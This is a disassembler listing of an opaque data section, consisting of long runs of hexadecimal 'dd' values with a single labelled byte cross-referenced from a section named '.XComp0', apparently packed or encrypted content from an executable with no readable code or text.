0D495845Ah dd 0AB94F4C5h, 0CF6E29C0h, 16D47E70h, 0EF5FE9ECh, 20068112h dd 2C122CB8h, 0DEE6C18Bh, 927A4900h, 0CC05380Ch, 0BB3F02CEh dd 2602B050h, 55395Ch, 0EC11C499h, 904F93AEh, 975C9820h dd 537005A4h, 0BBCDB750h, 8AD75C1h, 0FE124509h, 0DE6A74E1h dd 0D5778010h, 12C266D1h, 89F7C10Dh, 0F1D82F1Dh, 0C48B513Bh dd 624BAC2Ah, 544A46FAh, 80811059h, 0D7F68EBBh, 85310B2Ch dd 55C17C9h, 21846D4h, 47397114h, 0B00BD5B8h, 0DB0F90EEh dd 0C090CBF2h, 4941641Ah, 0F77BEF50h, 7EFB311Dh, 55D2DC8Ah dd 0AE700973h, 0ABF02D2h, 7619D8Bh, 0FD2F527Ah, 0B13A5D2Ah dd 0F009A411h, 1A3AF093h, 225B0038h, 0A2E0FA2Eh, 0CD894A84h dd 25841CAh, 0FF20F07Eh, 1297D148h, 38EF18D9h, 5ED2B212h dd 80249BFAh, 19569035h, 0DE230B59h, 0A4B7026Ah, 270C4F85h dd 3D1E74C3h, 0B0FC900Ch, 0E52B2C3Ah, 0DA58A564h, 0EA57F840h dd 0B7E197FEh, 0F0973690h, 21162h, 9646F189h, 2FE781AEh dd 345F01E4h, 82A8E9E2h, 6C935B09h, 8C68F78Bh, 0C7950EE9h dd 17501254h, 0C96FFE82h, 90F7FD16h, 21D9BDE0h, 2CD953B3h dd 392B1F4h, 86AF4F71h, 5C34F053h, 98BB63FAh, 655BBD33h dd 3EBFD940h, 766397C4h, 8300F50h, 26994E3Dh, 0BBA9140Dh dd 0CAC78180h, 414A1DDEh, 9DD9A3D9h, 752B08EDh, 2A81EE6Dh dd 95102E8Dh, 6A892551h, 0ADFCD731h, 0DB3EFF13h, 65EFC050h dd 0F9F6CEh, 0C848EA90h, 0FB8B53C9h, 0C5C4D695h, 0D7630FE6h dd 5B46FDE1h, 0E374A7B0h, 70E6B9F3h, 2D0BBD9h, 817103E4h dd 18025DFh, 2765ADE4h, 0E46474C3h, 827CC0B5h, 700BDA4h dd 0C88C9817h, 9565169Dh, 0DFFC6C8Bh, 0A5D70367h, 2DB1770Bh dd 8CB6129h, 0F84AC193h, 219D8FB4h, 298927C5h, 8B625C85h dd 788FC82Bh, 3A7A9686h, 19901F90h, 6CF51464h, 441C7D5Fh dd 315F434Ch, 6D4A158Dh, 0F5BC6A84h, 0AA790380h, 0F0013970h dd 0A402FA40h, 84E8753Dh, 4D350D51h, 361783h, 16A6CBA4h dd 69146725h, 0E9110883h, 600B842Fh, 77AC61F8h, 0CEFC2D2h dd 170131D7h, 2AEEA115h, 10AE5D65h, 0F52560DEh, 902D576Ch dd 0EB7D5C1h, 82C9EF89h, 8B6C8C5Ch, 0D018F5AEh, 76B78B0Fh dd 3A5572DEh, 50C753A7h, 0AD01306Fh, 0B9566BF5h, 0E72E100Fh dd 571A0D5h, 53E19FFBh, 0F5E63E07h, 4FB08A46h, 79FB7F3h dd 12E8293Ah, 0D74CC8FCh, 8E57E500h, 71DB19B8h, 77C2EB56h dd 0FB640C6Fh, 59BB5BC0h, 0D4FC970Fh, 2D9DBD61h, 3BD22B01h dd 39802F9Bh, 35EDA838h, 7DBC497h, 86889067h, 0FFE610D6h dd 0E058E596h, 1E0110ECh, 13DE5B25h, 0C98640DAh, 4E882509h dd 8D006037h, 69FAA172h, 0F341294h, 5140A48Fh, 16EB7AD6h dd 0C5C09EF1h, 0A11261C6h, 6B4E51ADh, 5A4349h, 0FF9BD78Ah dd 94C7475h, 0B3DBD09h, 0F35A275Ch, 78BF5054h, 9C8AD94Bh dd 2A8389D2h, 230B0BFDh, 37FF780Dh, 5F23848Eh, 9E65F80Bh dd 406F7CA5h, 3DE0E381h, 0C57AD325h, 0ED9B12CEh, 0ABEC88h dd 0ECFB13A6h, 0FFDAE3D8h, 2307E833h, 86CAC164h, 91FE48C0h dd 0A1D1805Dh, 6711C11Fh, 4781D505h, 2C95E7B0h, 0E35B11A0h dd 0FC8CAC3Bh, 10C2E119h, 0BE096F1Fh, 7ED75696h, 5B2E402Ch dd 4FB0647Fh, 0C6E3A416h, 79DE9F49h, 16D7A430h, 0FFEB41DDh dd 0E8BA60E1h, 335D7FB7h, 97122202h, 59441914h, 43CF0481h dd 0BC233197h, 2261A213h, 0F45CF88Bh, 0FCFE1C51h, 0DC1DF433h dd 5413411h, 0E289F59Bh, 60F8E289h, 8C273ED8h, 9A5B7D9h dd 0AA89E91Ah, 0BDE7907Dh, 1144B7F1h db 0F5h byte_525345 db 2Eh, 10h, 0F4h ; DATA XREF: .XComp0:00452F4Co ; .XComp0:004532D4o dd 27D112A0h, 14C830B8h, 552608Bh, 0B1D239E7h, 0D5BD4058h dd 2B618121h, 0A9811834h, 88988CCh, 135CEB21h, 21646D6h dd 50CFC069h, 68597F52h, 88AA7F25h, 0E1D40CCh, 0DC09E990h dd 559C2668h, 0E30D91ECh, 865B6E9Fh, 0BFBC282Bh, 5354F09h dd 9E85F759h, 3677E383h, 0FC9FE6FEh, 0EDD19F8Ah, 70D9696Fh dd 1B8D2299h, 0C988504Bh, 0EA4900F4h, 2E8A1347h, 0FC003FD2h dd 2CB086FAh, 0BACB985h, 5FCB5DAFh, 0FB62C15Ch, 0DC37FC58h dd 3504BBFEh, 0EA9E6FFFh, 0A36BC8ABh, 0F9DC2800h, 7CCFAA8Eh dd 5FFE27BBh, 0DB8430DFh, 8D424BE0h, 4D9DD88Ch, 0D8132B44h dd 26D122F9h, 140ACE95h, 931E8C0Fh, 56188784h, 8AA088h dd 0F00AFA78h, 92C12E0Bh, 8E9AA107h, 0CE611CC5h, 8A6B9E25h dd 0AC204DB0h, 89305A4Ah, 92A42B4Fh, 0D224E2B5h, 3ECBF1B7h dd 0B34FA3B7h, 0DECE04DEh, 0A1B94FD2h, 0AEC674Dh, 75F03400h dd 31FBF88Fh, 63D2085h, 89B4B31Dh, 0A509C5A4h, 86C57313h dd 0AEFEB70Fh, 894368B7h, 0EAF39546h, 3BF5078h, 4FAEB0B8h dd 1AD3582h, 558D098Ch, 87800418h, 48A1F1C5h, 0C9488A71h dd 9801EEC0h, 0F4045F46h, 8446C39h, 0EA2684EFh, 7800496Fh dd 9019AF08h, 0FBECC4CAh, 0EC69B731h, 0AC2B1F9Dh, 6AABA491h dd 9C5E0AADh, 9800A84Ch, 0CED7812Eh, 477B00CDh, 22C09F68h dd 804E0FECh, 12B7799h, 0FC4360B1h, 0FDB37B13h, 0FA858D12h dd 0EBC1119Eh, 0D4F3ED26h, 9D1023BAh, 0B55012B1h, 0D40DD019h dd 4E943E04h, 0DB79D517h, 8CF78077h, 0FDC98D01h, 0A5C7AC3Bh dd 3BA015F6h, 113E3808h, 0A13504F8h, 0BAC2485Bh, 44BB1004h dd 38B7320Bh, 726A7B61h, 0B756B8F5h, 4396978Eh, 343915A0h dd 1C9067B5h, 0BD85234Eh, 6983AC6Fh, 4702A8F3h, 2D1B00BBh dd 60904F8Ch, 37D7E9C9h, 4C06FAAh, 12F24723h, 4D85CCEFh dd 9A8DFA01h, 896D2DE2h, 4BCBC4DAh, 0E92BCE5Bh, 0B346E67Bh dd 7549EAFFh, 90BDBEF8h, 4EBEAEh, 0C8321B8Ah, 6F5B7E73h dd 2C613A3Dh, 1DE7BFDh, 0EEFFAEE0h, 2FF279FBh, 922A3B28h dd 0DACD9D50h, 0F24D6AC1h, 0E1C53720h, 35E7B0Fh, 85A595F7h dd 4AADF70Bh, 9CADA9A0h, 4E3FF6FDh, 0C05989EFh, 808271DFh dd 0F2DBEB81h, 56B93E14h, 818774A7h, 318F2495h, 301DD4DAh dd 82036B3Ch, 0B58A086Dh, 61345EFAh, 7E7BD780h, 0FB4DCA0h dd 0F88B50E2h, 96BDDB16h, 5310D8ABh, 49278CB0h, 783ADF07h dd 0F78C475h, 558B766Eh, 216F2880h, 9F00DA03h, 0DD82E791h dd 4CF03831h, 0D277E349h, 29CDA04Bh, 0E47A275Bh, 0AF87A705h dd 0AFAC528Eh, 0B48174DEh, 6E8A89EDh, 0E1803FA8h, 0D2C6A41Dh dd 0DDCB471Ch, 4035F725h, 0D84F3027h, 0BFBA17CFh, 0CDE00462h dd 0DAA81603h, 52EE1025h, 3D5D317Ch, 4DB94B3Ah, 28C17ACh dd 927B27D6h, 2D5EDF8Bh, 0D6B5C820h, 0CC2253Bh, 0CF70CCD3h dd 4F1A0031h, 0E75B76BEh, 9B7C2FCh, 77D15530h, 0A015C625h dd 9782E056h, 0BD0B0798h, 71242528h, 4A18109Fh, 4320309Bh dd 499279E8h, 0FEC60800h, 3611CE06h, 1ED0137Ch, 70CFBCF7h dd 0D3546849h, 92BBDAAEh, 0F800FCE6h, 0B794E22Bh, 78488DC0h dd 3315108Ah, 0C009F84Bh, 0D8FB03Fh, 0F1A302ACh, 7E5B7F58h dd 0BD45647Fh, 306178F6h, 0DFFC12A7h, 0C9F72734h, 5FAD12DDh dd 0CD97E772h, 697CC33Ah, 1E2DF7E8h, 0DC4C9A24h, 0EB4008E4h dd 0FD301F4Ah, 6FD3D40Ah, 2B0065E9h, 0D50C45A0h, 9E880218h dd 5FC15E4Dh, 5C791075h, 987D95ABh, 4DF81FEh, 36AE9FA9h dd 0C147BC5Fh, 20B5BD23h, 8B04F32Eh, 0F6867C59h, 225CDE9Fh dd 51C005Eh, 0E0BEB1F8h, 0C702C806h, 0F96254Fh, 68FBFD89h dd 0B824F080h, 7731B65Fh, 7D449FC3h, 82CE7902h, 5750AAFEh dd 0ECBA3780h, 0B5259D8Bh, 0DE0CEE1Eh, 0BF04625Eh, 4FB02B69h dd 0A46DE6EEh, 2614E9Ch, 82F25739h, 0DC200CE8h, 99A46Eh dd 0E58CA359h, 698F4CBEh, 0F1262598h, 0D55AD619h, 403C3760h dd 558D70C2h, 34EE5D34h, 0A9FBBF04h, 31BC2032h, 784F3AA3h dd 0CDBC07EDh, 6AE3C04Fh, 67D38101h, 3F58CFC2h, 7D8458ADh dd 8F49BC29h, 24F232B7h, 892BA1D3h, 77CCE915h, 1CCCDA0Ah dd 9FF525EDh, 631416C5h, 5E10232Ch, 81013251h, 84F1DDF3h dd 7322F6Dh, 7AA7160h, 80A44FE0h, 0BE397F1h, 0CF537300h dd 4AC9050Fh, 0FA371D85h, 0D3DA2D29h, 0CE95911h, 0FF153017h dd 9D575E30h, 0B9355FDBh, 70FC5F2Eh, 80A6DB4Fh, 3EF27B47h dd 317D806Ch, 2215681h, 5F28C8D6h, 0DEA1B46Ah, 7326D900h dd 29B5339Ch, 2B4B5845h, 2BDDB92Fh, 0A4E45D7Eh, 5A92A080h dd 0E5DBFE4Fh, 9B9739C0h, 0EDE65DBFh, 0D7D85658h, 0F4FDDDAAh dd 155BE195h, 85CB7EBCh, 795DB057h, 75D9BFF8h, 0D4680BDh dd 0D4B99D7Dh, 0D0E7007Fh, 0A130B393h, 372A98C8h, 0B7BDC897h dd 0EEC1006Dh, 0C8157E25h, 0FD838C4Eh, 0BDB898D3h, 6A61245Ah dd 0CDFFF4B2h, 0D7897A2Bh, 60F846ADh, 5EDD154Bh, 2E69A12Fh dd 9D334D30h, 2B18600Dh, 0CB8156D1h, 0DBDDF804h, 4FBC5F6Dh dd 2C2AAFA2h, 0F427253Dh, 38ABCE6Fh, 2F5246DDh, 0BE5E026Ah dd 0F7CE00DCh, 0BFEBA633h, 8662416Dh, 380B1974h, 3F00CF03h dd 70FEA8D3h, 5E90C32Dh, 0CF52057h, 0C20393F1h, 505FEB38h dd 0B4BE8860h, 34211787h, 4136C861h, 3640DC0Eh, 78B227DDh dd 0D88B90E1h, 23276B3Fh, 0B563071Bh, 1F85EED9h, 53C2FA53h dd 0E6ACAB4Dh, 0B037980Ch, 0A7E9256Ch, 9C71965Ch, 9E76A421h dd 0C74DB1F0h, 50223A5Bh, 3876556Ah, 1BB9BBE1h, 81D480DEh dd 2D508DEFh, 406D34ACh, 31D376C0h, 3D9F04D6h, 0AEA24F4Eh dd 8AB95174h, 0B300A5A8h, 9C4AD622h, 4C1E0C78h, 0AAD2AE1Bh dd 5514EAD0h, 29AB010Fh, 0B350EE23h, 1AE4253Dh, 3CF5C066h dd 915F136h, 9673E031h, 46DC5B5Ch, 2F9241Bh, 173B7201h dd 866CAA6Ch, 2F7C780h, 1A98C57Fh, 7DE68101h, 0FDEA80D7h dd 4AE9B82Bh, 0A884CC9Fh, 0DD08EB0Eh, 0B5290220h, 0F45E26BDh dd 1FEF7EECh, 256A9C59h, 7770CF73h, 50105C50h, 4E4EAB5Bh dd 0B1A8D2BFh, 3924CF80h, 1B259A3Ch, 45EFEC22h, 850320F2h dd 0E0B01540h, 817000E6h, 0C0B8FCDFh, 7105E462h, 18ADB501h dd 0D2C2CCBBh, 97BB41DEh, 72BEC8B6h, 81A8D96Eh, 0FA411387h dd 0A46BB7D9h, 38D3C1C5h, 33D32760h, 0E78E97FCh, 0C03CEBE0h dd 189291Bh, 8B8BB571h, 9403C82Bh, 6B0410EDh, 0B9CB80D1h dd 0BB5220AEh, 142E249Eh, 50029101h, 5E47554Ch, 0DE8A0DE3h dd 0B5B0840Ah, 9A1921F9h, 0D0482FD8h, 0E3818019h, 303A86C1h dd 0D354E925h, 0AFFB80CDh, 0B05F22B2h, 2FF96F16h, 818D6EB9h dd 0E15EC229h, 80423144h, 9FC651C3h, 96030A76h, 38D5AC1Fh dd 17B8A0D4h, 0F9FE02C3h, 72BD3148h, 0FCC8F85Eh, 8310DA13h dd 2EAF4171h, 0D19FFB61h, 0BCA6AD6Fh, 0AB964E6Bh, 0FA010953h dd 76DF1C14h, 89EC322Fh, 0B9425656h, 24F9745Ch, 6700DE4Ah dd 99FA312Fh, 242C75A7h, 9265918h, 0C75D07A5h, 6E67E873h dd 0E07FC06Bh, 96FCF071h, 0E100DC9Ah, 66C9ADBCh, 4B24B8BBh dd 0F56EAF2Bh, 0DA12F00h, 957389Eh, 7B98D12h, 0D394C8B9h dd 0FA24FD13h, 3648D7DAh, 0BD104512h, 0E0BD807Eh, 7F318C0Fh dd 6C90D9h, 0E2F3E87h, 5A170912h, 48C00C05h, 38F9880Dh dd 2E0B87ECh, 0E4282205h, 74AA00B6h, 21DFBB4Bh, 4E27FC13h dd 0B535D7B8h, 80BC1B15h dd 5CE8292Eh, 90F59A8Fh, 0CB2D0957h, 355E506Bh, 5C400EC4h dd 0DA8AB78Eh, 0B06E3000h, 2B1DBEC4h, 0B8324A51h, 1923BBFCh dd 0B9E1E00h, 4FB308ECh, 206A8DF8h, 7995A138h, 0AE64E403h dd 70917AD8h, 0F61D9CB8h, 53A4C824h, 6148F40Eh, 7BC9A806h dd 441352Fh, 0AB18E51Eh, 18C8D78Fh, 838CA1C0h, 29E309C4h dd 0C7DD458Dh, 4550E78h, 0CE6FAA17h, 0F71C616h, 1984CA14h dd 0A277BC24h, 18F65540h, 416327F4h, 8939907Dh, 2DA12785h dd 0D47144F4h, 0B75F5EADh, 0A0011684h, 66801305h, 4BEB12BFh dd 0E0CAA660h, 123A6DEEh, 0F601F467h, 0D98C1596h, 43AAC2Ah dd 484A5A8Dh, 4BE3ACA8h, 73B9BA85h, 9F04E0B8h, 1288E47h dd 8A3BD5BDh, 8009DE4Eh, 5D2B79E2h, 1E3D09EFh, 0C05EECDAh dd 754BDC7h, 0E76E2E29h, 8E890901h, 6B95BD29h, 7BFE990h dd 81C07A1h, 9B6CB750h, 0DC6974h, 20F3DCDAh, 916E136Bh dd 0BD0560E1h, 7BAF274Ah, 18900EDAh, 5476C23Dh, 0DC9C5766h dd 25B75309h, 45868C5Bh, 2428E360h, 931FA380h, 8800B510h dd 0BC1DB935h, 776106CDh, 0DA333A66h, 0CC568BAFh, 1AB86040h dd 0BEFB4F17h, 0D8FECB24h, 61295FDEh, 50A48B5Ah, 36067E0Fh dd 0FD15F349h, 0B0CBBC4Dh, 5A1E7BC9h, 0D6D98850h, 68545E00h dd 0EBD4350Eh, 0A2303E5h, 0EF3E478Fh, 346005C8h, 7629ECB5h dd 4102600Fh, 64E958B3h, 0D844DBBFh, 0E001B1C2h, 96A7E4F3h dd 0F488B31Dh, 890E0411h, 4EE7DD8Dh, 73409D4Bh, 0DE951F22h dd 0D0D6C234h, 3769FF5Eh, 0B0CB9746h, 0DC9715A8h, 4155C9AFh dd 51300606h, 0B27649B2h, 7045F297h, 4F137A00h, 58A34511h dd 3FB50B71h, 685DC6B9h, 881B1D45h, 0E31767BBh, 0D2846518h dd 0E085F6FBh, 0B8F8998h, 0F39058CCh, 0B70061C4h, 0A9D7A8E2h dd 1CB57BE0h, 0CEBC2781h, 47A426C3h, 6663AF67h, 5879B861h dd 5B4C2868h, 97F8E2CAh, 0A8E2A28Eh, 60D5746Bh, 95B509A6h dd 0F73609D7h, 63409A15h, 3AE148C9h, 3A8215D9h, 0A7B39F3Bh dd 6FFBC741h, 4BE8E6F9h, 0B3F2D703h, 0CA8D0157h, 27AA4522h dd 6F2DF3D0h, 1EC53761h, 0A6BAC1B6h, 7B463E8Ch, 570CBE09h dd 8102D41Eh, 0C6949EBh, 68717F76h, 70B17BEBh, 0F4124C5Dh dd 0A3E85160h, 0B5719572h, 25B59584h, 9D03B03Bh, 0BF3ABAB1h dd 764ED59h, 7399E2D7h, 0C5B4BE2h, 24BD9504h, 97382BFFh dd 0BA179590h, 20164AB7h, 9682F6B5h, 25280200h, 69E46D48h dd 93F7122Eh, 0A66BAE88h, 0BF011C23h, 0ED778FBAh, 5E66D5D0h dd 0B840040Eh, 0D660B885h, 0FA1D05EFh, 11D9FB9Ah, 35806368h dd 0E8D59C3Dh, 7DB8784Ah, 3C31DA88h, 0E42A8C5Eh, 0C1FA5675h dd 964B58B0h, 0B48C8CDBh, 264E1A54h, 5FFE7FBFh, 647E00ABh dd 4A583615h, 820FCE13h, 8D21EBF2h, 775F520Bh, 189484B5h dd 0D4CA805Fh, 0A082B7F6h, 5F27CBB7h, 0AAE1BC6Dh, 0F09BA05h dd 292E901Fh, 44BEDB5h, 4DD26EEBh, 0A9E5C4FAh, 17D695A8h dd 0B8C4EBD9h, 0F0DBA7BEh, 2D601E63h, 185D8897h, 9AD19DAAh dd 0D6729632h, 0F00B1746h, 0D85CB94Ch, 0D0C8BB81h, 122F1365h dd 0E19CE631h, 0A06EBE5Eh, 7A0BBFDEh, 5C23F948h, 736DE9D7h dd 88023640h, 14DF2508h, 5E978AC4h, 0F5F4C993h, 0A20E5B6Fh dd 0D1EEDD12h, 0ADBD3108h, 0EF57450Dh, 0D55F4082h, 0F685B5B9h dd 7F3A3A7Fh, 6A6090CAh, 0D69F6AEEh, 0B200F4E4h, 20E33EF3h dd 525412BBh, 205B41CCh, 73D1788Eh, 8AF63100h, 9B0FC5D3h dd 0F7A94A77h, 0AC764923h, 26E7CBCh, 0A14F9B2h, 0FA5CD6CAh dd 0C80F8251h, 0B3C0C019h, 0AE02426Fh, 0D7816089h, 0CDD96343h dd 30FCCCBEh, 0D9CE5E00h, 3FDF1934h, 0D240023h, 8AE2B9E3h dd 0B80E665Ah, 37615617h, 9559BFE3h, 439EC744h, 0B55D5688h dd 0A6B480BFh, 0BB0F56A8h, 0A05C4098h, 0D59D2B5Fh, 4F6BB121h dd 0EEFE8B04h, 0DF2410E3h, 4D8DE222h, 7FF6DD19h, 17406FCFh dd 2D889126h, 40C04571h, 94973D28h, 8B1C4400h, 0D98DD94Bh dd 82E3CDFBh, 0D0A3D705h, 0CB9AD0C6h, 0E1251C23h, 0ACE2C52Fh dd 16203CBAh, 70D5E92Dh, 783B9322h, 775E2C5Ah, 95C4EDB9h dd 0C16CC815h, 9DB570CAh, 0D61956A7h, 0B8251C46h, 9876C5Dh dd 63D380FCh, 0AB811D20h, 64870489h, 0CC336019h, 7AEE01BCh dd 1103BBF1h, 3F6AC9E1h, 6005A26Fh, 13014E21h, 0B75152C4h dd 73BEA0FBh, 8D740214h, 3D5389E4h, 287CC75h, 79F776DFh dd 127F3323h, 6EBA01FDh, 0F37FFE6Ah, 0A136002Dh, 0DCF75116h dd 0D696003Eh, 0C6B190A6h, 69124A05h, 0DFE0F504h, 828E0BBBh dd 0F079558Dh, 0D5470C80h, 3C019261h, 0E500F554h, 0B307D3Eh dd 2A0A0FEEh, 0C61BE467h, 8265BF8Bh, 0DD6A18C2h, 0D40071E6h dd 0CC09F971h, 0A3AF12h, 0AC205E8Ah, 8F790EE4h, 426F2ED6h dd 152D326h, 8D09DE48h, 4E986875h, 4AE46AEAh, 0D01698h dd 5B2FB1EBh, 0E8BF4CCEh, 0BA7E0084h, 51760A78h, 0D207D381h dd 5F1FE7CEh, 84FA7119h, 0BCD1FFF5h, 8B5D7306h, 29798408h dd 8F4B38AFh, 2707B388h, 1AED026Ah, 1715A7C0h, 66F505D6h dd 0FA72B62Eh, 10C97881h, 6ADC5002h, 0DE8B5761h, 0E63E567Bh dd 0CC1AE0BDh, 0A7430275h, 85916D0Fh, 64BECD57h, 37166017h dd 12C05D55h, 39A50627h, 0BB109FAh, 7862DC71h, 0ED020B6Ah dd 6F553155h, 0C6624179h, 0E4DCD870h, 9F313E4Ah, 342EDD8Ah dd 5536A0AEh, 9905E3Bh, 0DD5D73BFh, 0C7E4702Eh, 0D9B81241h dd 96D6E5Eh, 57A116F1h, 0DC9568FAh, 3297D6CDh, 7F65752h dd 73894C26h, 2EF3E127h, 79B58900h, 2AB93BEDh, 757B6D2h dd 6A6F71BFh, 2CC348BCh, 0BA8C64Ah, 9531091h, 0F75457D2h dd 0F909EECAh, 0F194550Ch, 4AA215FFh, 1D0D6600h, 266AA778h dd 6F8EB051h, 0B85F70B3h, 0DFAE6025h, 3E44A85h, 0BAF38071h dd 0B9B49D8Bh, 5DE88967h, 0CB2FFEB8h, 61EE8501h, 0A6E380B5h dd 3074162Eh, 21DC70FEh, 4C7CF217h, 0BA80C8AAh, 950122A0h dd 9EA678B4h, 19DC5312h, 2F3341C5h, 844B5BADh, 0EF99AA1Eh dd 0B5AE602Bh, 0D18813B1h, 0C1E97AF8h, 959D291Dh, 49851024h dd 0F144E04Eh, 479132Eh, 0BE286924h, 0BF0B33E2h, 9550BDEh dd 0DC19555Bh, 0B529110Eh, 4A83F26Ah, 89097DD4h, 0A5727191h dd 42456C64h, 0D6DC1B41h, 55FCD4ADh, 0B75C6CA5h, 5D6EC4F8h dd 55B3E1F1h, 2628F8B5h, 9F609528h, 0C9B6DA10h, 25348500h dd 0BF3B9A5Ch, 7C6036BDh, 5B4B6549h, 5AFB7D98h, 0F36FFFDFh dd 0B777007Fh, 0F1932ECDh, 48C45CA8h, 9AABFE8Bh, 0C317C810h dd 0B8029856h, 36B9DA8Ah, 11F70810h, 7F7D451Fh, 8A3C9ABCh dd 46341081h, 3BFC95B3h, 33C4B820h, 5167025Dh, 5BB8BC36h dd 0E9395CC0h, 5C1B7A27h, 0C714B459h, 17D069F4h, 613BD69Fh dd 2E4994DBh, 0B7AE3C24h, 0ACA6F4F7h, 0E2E41000h, 0DBD2F207h dd 8AF93007h, 5B4450FCh, 0ACB89EB9h, 10D1F70Bh, 3B645D83h dd 0D0C26071h, 5F9AFAF3h, 0EFF608CCh, 2DCF7009h, 3132D738h dd 0D612A9D6h, 0A85A23E3h, 0FC04D62Eh, 8BEB3431h, 9CB8D318h dd 4CD74969h, 8289709Fh, 1FC91240h, 45061C97h, 0BBD31832h dd 5616F625h, 0AA7EE9A2h, 0A1989DD4h, 9495E1FFh, 533C6BD4h dd 7CA74F37h, 0D6545A2Ch, 57A42551h, 615102D4h, 0AD049ADh dd 21B61495h, 1BF102D9h, 0B0716E19h, 0B799D2Bh, 98FD9577h dd 4ACF80D4h, 0B9CC4E0h, 0B8F5E9D7h, 0A03473D1h, 932CC5h dd 709A26Fh, 0C8368563h dd 0EF20970Fh, 96B192A6h, 0A5E4126Eh, 53D7E278h, 0DB68D0B8h dd 0B40B1672h, 58D5E272h, 0F1998A6Fh, 0EB4BB9CBh, 605B426Ah dd 0C6B309AAh, 0DF60902Fh, 238DEAB1h, 73D558A8h, 0B7115050h dd 7683C85Dh, 209D8D14h, 0D88D5A41h, 774B4E4h, 699149EDh dd 2E686371h, 8A0E5890h, 2F1F6258h, 873BD4D2h, 0B0950DA7h dd 1025BD09h, 44E964BEh, 23750485h, 0AF42BFDAh, 19C06FA8h dd 6F3602CCh, 84645AC4h, 81C0F1A8h, 0CCE831CBh, 5CE95F0Bh dd 43106F01h, 6891F965h, 808C7819h, 7D74C436h, 1A450F3Eh dd 4FC3F5FBh, 0A8A41017h, 3AAD4EF2h, 0AB07A5ECh, 22AD77CFh dd 1CF4D401h, 2DE77F30h, 0CE5BB71Bh, 119A7525h, 0C2F542C1h dd 18ECF954h, 0D336401h, 502D9806h, 0E8805B4Ah, 3D91D7BBh dd 6017697Eh, 0CD8DEF53h, 612DC83Ch, 25F6EA74h, 0D346427Fh dd 0BCEB8116h, 7136CB09h, 0DC8A4164h, 320B7A50h, 0F8C6F7E6h dd 1E20314Ah, 3DAC8374h, 10A4A5B9h, 1E5C2756h, 0CE3CA86Ah dd 5603EA6Eh, 0FF0E3259h, 7FF2A290h, 44E3029Dh, 671556B2h dd 404A6B89h, 217AE941h, 7FBCBB98h, 6F937376h, 930DE808h dd 5FEAF6C2h, 0BBDA42AEh, 2A40E4CEh, 0BF05615Fh, 66DF8402h dd 237C7BABh, 0DCB40217h, 515F8045h, 0C3ECECB8h, 0E9680B0Dh dd 163E151Eh, 296BEA4Eh, 0BF4C1AE2h, 0C7B50902h, 42B13792h dd 1246001h, 265B810Bh, 910AF17Ch, 23FB282Ah, 85E7045Fh dd 92AC30A7h, 0A63C43BEh, 0CDE4527Bh, 826E53F3h, 0F1D51713h dd 11CF4100h, 0E6322A33h, 0EE4D7750h, 81605F40h, 29D105D6h dd 0C2235790h, 0FB7515ADh, 4B299FAFh, 9675171Dh, 8335B709h dd 2699002h, 74EA8171h, 0F92C8D60h, 0D71CFC93h, 0CDC0D2A8h dd 1C30983Bh, 67DC2F26h, 5DB7DD2Fh, 0C3F21416h, 7F30B697h dd 0DC8B9809h, 0BE638209h, 0AFE0546Ah, 85F1B7FDh, 0AC70E46Eh dd 4EBBC0B4h, 953D94BAh, 1C590C5Bh, 0BD01CE18h, 96FC7B39h dd 6860B2D4h, 0E23A95F8h, 0FF69A54Dh, 0B1D366Eh, 0B060EDBDh dd 27E5BE3Ah, 5B828E3Dh, 0D177CE94h, 0FE0A00FBh, 6098DA62h dd 480E5C9Dh, 0BCF22794h, 9A5F6125h, 0D7F88B1Bh, 0C2835F60h dd 0DCE0D4BDh, 76B8E04Ah, 8CF21D5Fh, 0E8211A8Bh, 0A28A15A0h dd 82629602h, 75E05ECAh, 0A901B664h, 52F60973h, 0A83F4429h dd 2F8CB2Ah, 7F311D38h, 1D710F53h, 9D5B2926h, 6E23D1DBh dd 0FCDDD5E8h, 0E3BAAB01h, 32BECF7Ch, 4BE78E23h, 0B5B5F5C9h dd 8E9A1695h, 805C2702h, 0B1B3E554h, 8FD3810Ch, 2BE7149Ah dd 0D501F0A5h, 8A2A258Dh, 0C585253Bh, 9F33A8A0h, 296F957Ch dd 44C451FEh, 17D7E728h, 9109FF16h, 0CCED7E33h, 9B85F40h dd 15596306h, 4A569652h, 2139F5FBh, 0D6B87EBEh, 0E07FEA4Ah dd 4C547025h, 0B6BBAF35h, 0F8BDA4E2h, 257AFA80h, 6F26A382h dd 0C4609EB2h, 25474F19h, 72EDC77Eh, 0E5611564h, 8AC42D5h dd 0F7BB5725h, 21DD1046h, 107DF85Bh, 0F25F1075h, 0D559C957h dd 0EB87343Dh, 0B9146939h, 0AAB264AAh, 97C60388h, 0A140CA4Fh dd 1031B418h, 6B260DBDh, 0AFAFF4CEh, 0B6F65ED4h, 427DCBB2h dd 10C7DEDAh, 25DB4C15h, 94CD57F5h, 0B5FBDAE0h, 0C1150401h dd 0ABD59D89h, 0E76B1A65h, 3120C61Fh, 2B0399A4h, 0C2EB3174h dd 900408D2h, 6BEC5DAAh, 16477889h, 6A67AF13h, 0C1C070DBh dd 19C6BD5Dh, 61DBE901h, 0B5317418h, 6AB9E47Fh, 78915B95h dd 860ED9E0h, 23F1DAD5h, 269313DEh, 49E1D1FEh, 1BAEA7Dh dd 0FE78BA91h, 25F7AD34h, 0F6439273h, 14C4BBC0h, 0CA0F503Ch dd 1980DBE2h, 0B21E706h, 4C7B6900h, 37EDE2DAh, 0A2A01C52h dd 0A1E4D2C4h, 309B6B17h, 3FBFA980h, 114EBBC9h, 6FE8D0A9h dd 0CF723B05h, 0D5EF6B54h, 9309A83Eh, 59286D49h, 49CD6B08h dd 0A09DDA41h, 0B03FD70h, 810F3AEBh, 88C0D19h, 3B29551h dd 8F7845Fh, 36B7D149h, 0A575388Eh, 60BAFBE4h, 6258B85Bh dd 8A0B375Eh, 93CAE91Eh, 512E56E6h, 5DB73BADh, 51B1E7B7h dd 3AF064D0h, 38C8BF14h, 3C6A4049h, 61242B02h, 60908945h dd 740073E4h, 0D56BE220h, 472F6Dh, 5640BC1Eh, 3BB09449h dd 57506104h, 97DB905Bh, 0E19ED4C2h, 40565C55h, 0EAAF0324h dd 0C8B8CD4Bh, 218D8982h, 5F506478h, 104AC094h, 18B23BB6h dd 9EFA7732h, 5998E92Dh, 78C4C274h, 790B080Ah, 3A6E5F22h dd 0AFA25EBDh, 0C193DCEEh, 0B73D558h, 17D451F5h, 8A33C0FFh dd 310F2EFCh, 13F52779h, 0A6FEE4BEh, 91EC4028h, 0FE8A074Ah dd 2CE4E825h, 127F8EEAh, 397E6100h, 74DC3586h, 13300AD5h dd 4B0D8DDh, 0AD5FEF81h, 0F0E6C619h, 7F397808h, 0DC78B66Ah 